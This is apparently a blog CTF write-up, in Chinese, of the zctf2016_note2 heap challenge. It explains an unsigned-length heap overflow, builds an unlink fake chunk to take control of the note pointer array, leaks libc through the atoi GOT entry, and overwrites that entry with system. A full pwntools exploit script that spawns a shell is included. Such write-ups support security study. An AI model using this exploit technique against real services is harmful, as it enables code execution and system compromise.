您现在的位置是:首页 > 正文

【unlink】 zctf2016_note2

2024-02-01 03:29:12阅读 1

【unlink】 zctf2016_note2

1.ida分析

  1. 堆溢出,unsigned int用于判断条件,导致的堆溢出

    在这里插入图片描述

    1. 指针数组

      在这里插入图片描述

2.思路

  1. 创建3个chunk,chunk0、chunk1、chunk2,通过chunk1连接chunk0,chunk2。构造unlink

  2. 在chunk0,构造fake chunk,free(chunk1)然后再申请修改chunk2的size,add(0,'b'*0x10 + p64(0xa0)+p64(0x90))

  3. 释放chunk2,unlink,控制指针数组

  4. 泄露libc,修改atoi的got地址为system

    在这里插入图片描述

    1. step1

      在这里插入图片描述

      1. step2 free(chunk 1)

        在这里插入图片描述

      2. step3

        在这里插入图片描述

      3. unlink 控制指针

        在这里插入图片描述

      4. 泄露libc

        在这里插入图片描述

      5. 修改atoi的got

        在这里插入图片描述

3.exp

from pwn import *
p = process('./note2')
#p = remote('node3.buuoj.cn',27983)
elf = ELF('./note2')
context.log_level = 'debug'
p.sendlineafter('Input your name:\n','1')
p.sendlineafter('Input your address:\n','1')
def add(size,cont):
	p.recvuntil('option--->>\n')
	p.sendline(str(1))
	p.sendlineafter('Input the length of the note content:(less than 128)\n',str(size))
	p.sendlineafter('Input the note content:\n',str(cont))

def show(index):
	p.recvuntil('option--->>\n')
	p.sendline('2')
	p.sendlineafter('Input the id of the note:\n',str(index))

def edit(index,cont):
	p.recvuntil('option--->>\n')
	p.sendline('3')
	p.sendlineafter('Input the id of the note:\n',str(index))
	p.sendlineafter('do you want to overwrite or append?[1.overwrite/2.append]\n','1')
	p.sendlineafter('TheNewContents:',str(cont))

def delete(index):
	p.recvuntil('option--->>\n')
	p.sendline('4')
	p.sendlineafter('Input the id of the note:\n',str(index))
#	p.recvuntil('delete note success!\n')

ptr = 0x602120
fd = ptr-0x18
bk = ptr-0x10

payload = b'b'*8 + p64(0xa1) + p64(fd) + p64(bk)
add(0x80,payload)#0
add(0,'b'*8)#1
add(0x80,'c'*8)#2
gdb.attach(p)
pause()
delete(1)
gdb.attach(p)
pause()
add(0,b'a'*0x10 + p64(0xa0)+p64(0x90))
delete(2)
gdb.attach(p)
pause()
#gdb.attach(p)
edit(0,b'a'*0x18+p64(0x602088))
gdb.attach(p)
pause()
show(0)

p.recvuntil('is ')
atoi = u64(p.recv(6).ljust(8,'\x00'))
log.success('atoi==>'+hex(atoi))

from LibcSearcher import *
libc = LibcSearcher('atoi',atoi)
libc_base = atoi - libc.dump('atoi')
system = libc_base + libc.dump('system')

edit(0,p64(system))
gdb.attach(p)
pause()
p.sendline('/bin/sh\x00')

#gdb.attach(p)

p.interactive()


网站文章

  • android Preference之android:dependency

    android Preference之android:dependency

    在开发软件设置界面的时候,我们可以采用android系统提供的PreferenceActivity来实现,下面给出一个简单的例子: 1、Activity 代码如下: public class ConfigActivity extends PreferenceActivity { @Override public void onCreate(Bundle save...

    2024-02-01 03:29:05
  • 衡水科技工程学校计算机房照片,衡水科技工程学校数字化校园建设经验

    衡水科技工程学校计算机房照片,衡水科技工程学校数字化校园建设经验

    S cie n ce&Te hc no l o y Vgis i o n科 技视 P.-科技探索 争鸣衡水科技工学程校字化校数园建设经验广彦杜衡(水科技程工校学。河北衡水 0 5 30 0 0)摘【要】根据校学发的展划和各规业专的特,色通“过四一个”实现了数来字化建校设,一张网:校网、一个平园台:数校园平字、台一个库:教学资源、一库制套度:各网项化络管理制度。建在过设中我校程探索出条...

    2024-02-01 03:28:35
  • 【编程实践】:Java基础+MarkDown文件解析器

    个人博客系统正在开发中。。。欢迎路过的java新手一起交流。。。欢迎大佬指正。。。本文主要描述文章发布过程中MarkDown文件的解析过程。MarkDown文件有以下语法说明语法格式标题标题采用#+#...

    2024-02-01 03:28:26
  • js总结篇之—ajax (看完你就学会整个js)

    1.AJAX技术 *ajax是浏览器提供的一系列api,可供javascript调用,实现代码控制请求与相应,实现网络2编程 2.快速上手 let xhr = new XMLHttpRequest()...

    2024-02-01 03:28:19
  • c#:使用网易邮箱账号发送电子邮件

    c#:使用网易邮箱账号发送电子邮件

    环境: window10 vs2019 16.5.5 .netcore 3.1 .netframework 4.5 控制台程序 一、准备网易邮箱账号 1.1 注册账户 1.2 开启smtp服务 二、编...

    2024-02-01 03:27:49
  • 轻松获得微信openid

    function test() { header("Content-type: text/html; charset=utf-8"); $weixinConfig=parent::getWeixinConfigData(); $APPID=$weixinConfig['appid']; $secret=$weixinCon...

    2024-02-01 03:27:41
  • 解决ubuntu挂载NTFS磁盘时出现input/output error

    Error mounting /dev/sdc1 at /media/cxm/大白菜U盘: Command-line `mount -t "ntfs" -o "uhelp...

    2024-02-01 03:27:34
  • Python的一,二,三维数组中根据下标取得对应数值

    备注 使用语言 python 使用库 numpy 使用pycharm显示效果 : 左边中括号的数目即数组的维度 一维数组 一维数组不需要多个下标,因为只有一个维度,所以使用一个下标即可 # 使用了numpy库构建 import numpy as np a = np.arange(24) print(a) 结果为 [ 0 1 2 3 4 5 6 7 8 9 10 11] ...

    2024-02-01 03:27:06
  • 乐观锁解决并发下单问题和事务隔离级别的修改

    一.乐观锁结果并发下单问题 1.查询商品 查询原有库存 查询原有销量 2.以商品和原有库存作为条件,用result接收结果,result=0,表示被修改,下单失败,若不等于零表示原始库存中途未被修改,...

    2024-02-01 03:26:59
  • 论文阅读-面向图像自动语句标注的注意力反馈模型

    论文阅读-面向图像自动语句标注的注意力反馈模型

    文献:吕凡,胡伏原,张艳宁,夏振平,盛胜利.面向图像自动语句标注的注意力反馈模型[J].计算机辅助设计与图形学学报,2019,31(07):1122-1129.主要工作在传统注意力基础上引入反馈机制,利用关注信息的图像特征指导文本生成,借助文本中的关注信息进一步修正图像中的关注区域,解决了传统注意力机制的注意分散问题。技术两种图像语义提取常用技术与ATTENTION结合1.基于全图:...

    2024-02-01 03:26:42